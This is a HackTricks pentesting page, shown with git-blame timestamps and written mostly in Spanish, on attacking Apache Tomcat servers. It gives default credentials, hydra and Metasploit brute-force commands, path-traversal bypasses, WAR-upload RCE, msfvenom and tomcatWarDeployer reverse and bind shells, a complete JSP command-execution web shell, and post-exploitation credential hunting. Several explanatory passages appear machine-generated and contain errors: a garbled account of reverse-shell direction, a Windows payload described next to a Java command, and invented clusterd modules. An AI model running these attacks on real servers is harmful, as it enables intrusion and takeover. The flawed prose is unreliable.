hacktricks/network-services-pentesting/pentesting-web/tomcat.md

300 lines
19 KiB
Markdown
Raw Normal View History

2023-06-05 20:33:24 +02:00
# Tomcat
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2023-06-05 20:33:24 +02:00
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos de amenazas proactivas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
2023-06-05 20:33:24 +02:00
## Descubrimiento
* Normalmente se ejecuta en el **puerto 8080**
* **Error común de Tomcat:**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
## Enumeración
### Versión
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
2023-06-05 20:33:24 +02:00
<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"
2023-06-05 20:33:24 +02:00
```
### Localizar archivos del administrador
2023-06-05 20:33:24 +02:00
Es interesante encontrar dónde se encuentran las páginas **`/manager`** y **`/host-manager`** ya que podrían tener un nombre diferente. Puedes buscarlos mediante un ataque de fuerza bruta.
2023-06-05 20:33:24 +02:00
### Enumeración de nombres de usuario
En algunas versiones anteriores a Tomcat6, era posible enumerar usuarios:
2023-06-05 20:33:24 +02:00
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### Credenciales predeterminadas
2023-06-05 20:33:24 +02:00
La ruta más interesante de Tomcat es _**/manager/html**_, dentro de esa **ruta puedes cargar y desplegar archivos war** (ejecutar código). Pero esta ruta está protegida por autenticación básica HTTP, las credenciales más comunes son:
2023-06-05 20:33:24 +02:00
* admin:admin
* tomcat:tomcat
* admin:\<NADA>
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
Puedes probar estas y más utilizando:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Otra ruta **interesante de Tomcat** es _**/manager/status**_, donde puedes ver la versión del sistema operativo y de Tomcat. Esto es útil para encontrar vulnerabilidades que afecten a la versión de Tomcat cuando no puedes acceder a _**/manager/html.**_
2023-06-05 20:33:24 +02:00
### Ataque de fuerza bruta
2023-06-05 20:33:24 +02:00
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>
```
## Vulns
### Divulgación de trazas de contraseña
2023-06-05 20:33:24 +02:00
Intenta acceder a `/auth.jsp` y si tienes mucha suerte, **podría revelar la contraseña en una traza**.
2023-06-05 20:33:24 +02:00
### Doble codificación de URL
Una vulnerabilidad conocida _para_ acceder al administrador de aplicaciones \_\_ es mod\_jk en CVE-2007-1860, que permite la **travesía de directorios con doble codificación de URL**.
2023-06-05 20:33:24 +02:00
Para acceder al administrador web de Tomcat, ve a: _pathTomcat/%252E%252E/manager/html_
2023-06-05 20:33:24 +02:00
Ten en cuenta que para cargar el webshell es posible que necesites usar el truco de la doble codificación de URL y enviar también una cookie y/o un token SSRF.\
Para acceder a la puerta trasera también es posible que necesites usar el truco de la doble codificación de URL.
2023-06-05 20:33:24 +02:00
### /examples
2023-06-05 20:33:24 +02:00
Los siguientes scripts de ejemplo que vienen con Apache Tomcat v4.x - v7.x pueden ser utilizados por atacantes para obtener información sobre el sistema. También se sabe que estos scripts son vulnerables a la inyección de scripting entre sitios (XSS) (desde [aquí](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)).
2023-06-05 20:33:24 +02:00
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### Travesía de directorios (..;/)
2023-06-05 20:33:24 +02:00
En algunas [**configuraciones vulnerables de Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), puedes obtener acceso a directorios protegidos en Tomcat utilizando la ruta: `/..;/`
2023-06-05 20:33:24 +02:00
Entonces, por ejemplo, podrías ser capaz de **acceder a la página del administrador de Tomcat** accediendo a: `www.vulnerable.com/lalala/..;/manager/html`
2023-06-05 20:33:24 +02:00
**Otra forma** de evadir rutas protegidas usando este truco es acceder a `http://www.vulnerable.com/;param=value/manager/html`
2023-06-05 20:33:24 +02:00
## RCE
Finalmente, si tienes acceso al Administrador de Aplicaciones Web de Tomcat, puedes **cargar y desplegar un archivo .war (ejecutar código)**.
2023-06-05 20:33:24 +02:00
### Limitaciones
Solo podrás desplegar un archivo WAR si tienes **suficientes privilegios** (roles: **admin**, **manager** y **manager-script**). Los detalles se pueden encontrar en _tomcat-users.xml_, generalmente definido en `/usr/share/tomcat9/etc/tomcat-users.xml` (varía entre versiones) (ver sección [POST](tomcat.md#post)).
2023-06-05 20:33:24 +02:00
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
Metasploit es una herramienta de código abierto ampliamente utilizada para realizar pruebas de penetración en sistemas y redes. Proporciona una amplia gama de módulos y exploits que pueden ser utilizados para identificar y aprovechar vulnerabilidades en los sistemas objetivo.
Metasploit se utiliza comúnmente para realizar ataques contra servicios web, como el servidor Apache Tomcat. Tomcat es un servidor web y de aplicaciones ampliamente utilizado que se utiliza para ejecutar aplicaciones Java en un entorno de servidor.
Metasploit proporciona módulos específicos para la explotación de vulnerabilidades en Tomcat. Estos módulos pueden ser utilizados para identificar y aprovechar vulnerabilidades conocidas en versiones específicas de Tomcat.
Al utilizar Metasploit para realizar pruebas de penetración en Tomcat, es importante tener en cuenta que se requiere un conocimiento sólido de las técnicas de hacking y de las vulnerabilidades específicas de Tomcat. Además, es fundamental obtener el permiso adecuado antes de realizar cualquier prueba de penetración en un sistema o red.
2023-06-05 20:33:24 +02:00
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### MSFVenom Reverse Shell
El shell inverso de MSFVenom es una técnica comúnmente utilizada en pruebas de penetración para obtener acceso remoto a un sistema objetivo. Permite a un atacante ejecutar comandos en el sistema objetivo desde una máquina remota.
El shell inverso se crea utilizando la herramienta MSFVenom, que es parte del marco de Metasploit. MSFVenom se utiliza para generar payloads maliciosos que se pueden utilizar en ataques de hacking.
Para crear un shell inverso con MSFVenom, primero debemos especificar el tipo de payload que queremos generar. En este caso, utilizaremos el payload "windows/meterpreter/reverse_tcp", que es compatible con sistemas Windows.
A continuación, especificamos la dirección IP y el puerto al que queremos que se conecte el shell inverso. Esto se hace utilizando los parámetros "LHOST" y "LPORT".
Una vez que hayamos generado el payload, podemos enviarlo al sistema objetivo utilizando diferentes métodos, como enviarlo por correo electrónico, cargarlo en un sitio web o utilizar ingeniería social para que el usuario lo ejecute.
Cuando el payload se ejecuta en el sistema objetivo, se establece una conexión entre el sistema objetivo y la máquina del atacante. Esto permite al atacante ejecutar comandos en el sistema objetivo y obtener acceso remoto completo.
Es importante tener en cuenta que el uso de técnicas de shell inverso sin el consentimiento del propietario del sistema objetivo es ilegal y está sujeto a sanciones legales. El shell inverso debe utilizarse únicamente con fines educativos o en pruebas de penetración autorizadas.
2023-06-05 20:33:24 +02:00
```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
2023-06-05 20:33:24 +02:00
```
A continuación, **cargue el archivo `revshell.war` y acceda a él (**_**/revshell/**_**)**
2023-06-05 20:33:24 +02:00
### Conexión de shell inversa y de enlace con [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
2023-06-05 20:33:24 +02:00
En algunos escenarios esto no funciona (por ejemplo, en versiones antiguas de sun)
#### Descargar
2023-06-05 20:33:24 +02:00
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Shell inversa
Una shell inversa es una técnica utilizada en la pentesting web para obtener acceso remoto a un sistema comprometido. En lugar de establecer una conexión saliente desde el sistema comprometido, la shell inversa establece una conexión entrante desde el sistema comprometido al atacante. Esto permite al atacante ejecutar comandos en el sistema comprometido y obtener control total sobre él.
La shell inversa se puede lograr utilizando diferentes métodos, como la explotación de vulnerabilidades en servicios de red, como el servidor web Apache Tomcat. Una vez que se ha establecido una conexión inversa, el atacante puede utilizar la shell para ejecutar comandos en el sistema comprometido, transferir archivos, obtener información confidencial y realizar otras actividades maliciosas.
Es importante tener en cuenta que la utilización de una shell inversa sin el consentimiento del propietario del sistema es ilegal y puede tener consecuencias legales graves. La shell inversa debe utilizarse únicamente con fines de pentesting ético y con el permiso explícito del propietario del sistema.
2023-06-05 20:33:24 +02:00
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Shell de conexión
Un shell de conexión es una técnica utilizada en la pentesting web para obtener acceso remoto a un sistema objetivo. Consiste en establecer una conexión de red entre el atacante y el sistema objetivo, permitiendo al atacante ejecutar comandos en el sistema objetivo de forma remota.
El shell de conexión se puede lograr utilizando diferentes métodos, como la explotación de vulnerabilidades en servicios de red o la inyección de código malicioso en aplicaciones web. Una vez establecida la conexión, el atacante puede ejecutar comandos en el sistema objetivo y obtener acceso a sus recursos.
El shell de conexión se utiliza comúnmente en la pentesting web para realizar actividades maliciosas, como el robo de información confidencial, la modificación de archivos del sistema o la instalación de malware. Es importante tener en cuenta que el uso de un shell de conexión sin el consentimiento del propietario del sistema objetivo es ilegal y puede tener consecuencias legales graves.
2023-06-05 20:33:24 +02:00
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
### Usando [Culsterd](https://github.com/hatRiot/clusterd)
Culsterd is a tool that can be used to exploit vulnerabilities in Apache Tomcat servers. It provides a set of modules that can be used to perform various attacks, such as information gathering, brute forcing, and remote code execution.
To use Culsterd, you first need to install it on your machine. You can do this by cloning the repository from GitHub and following the installation instructions provided in the README file.
Once you have Culsterd installed, you can start using its modules to exploit vulnerabilities in Tomcat servers. For example, you can use the `tomcat_enum` module to enumerate valid usernames on a Tomcat server. This can be useful for launching brute force attacks against the server.
Another module provided by Culsterd is `tomcat_bypass`. This module can be used to bypass authentication on a Tomcat server by exploiting a vulnerability in the server's authentication mechanism.
Culsterd also provides a module called `tomcat_rce` that can be used to execute arbitrary code on a vulnerable Tomcat server. This can be particularly dangerous as it allows an attacker to gain full control over the server.
To use Culsterd, you need to provide it with the necessary information about the target Tomcat server, such as its IP address, port number, and any authentication credentials that may be required. Once you have provided this information, you can run the desired module and Culsterd will attempt to exploit the vulnerability.
It is important to note that Culsterd should only be used for ethical hacking purposes and with proper authorization. Using it without permission can lead to legal consequences.
2023-06-05 20:33:24 +02:00
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Método manual - Web shell
Crea **index.jsp** con este [contenido](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
2023-06-05 20:33:24 +02:00
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
2023-06-05 20:33:24 +02:00
%>
<pre><%=output %></pre>
```
```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
También puedes instalar esto (permite cargar, descargar y ejecutar comandos): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### Método Manual 2
2023-06-05 20:33:24 +02:00
Obtén una web shell JSP como [esta](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) y crea un archivo WAR:
2023-06-05 20:33:24 +02:00
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
2023-06-05 20:33:24 +02:00
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST
El nombre del archivo de credenciales de Tomcat es _tomcat-users.xml_.
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Otras formas de obtener credenciales de Tomcat:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## Otras herramientas de escaneo de Tomcat
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
<details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu infraestructura tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
2023-06-05 20:33:24 +02:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2023-06-05 20:33:24 +02:00
</details>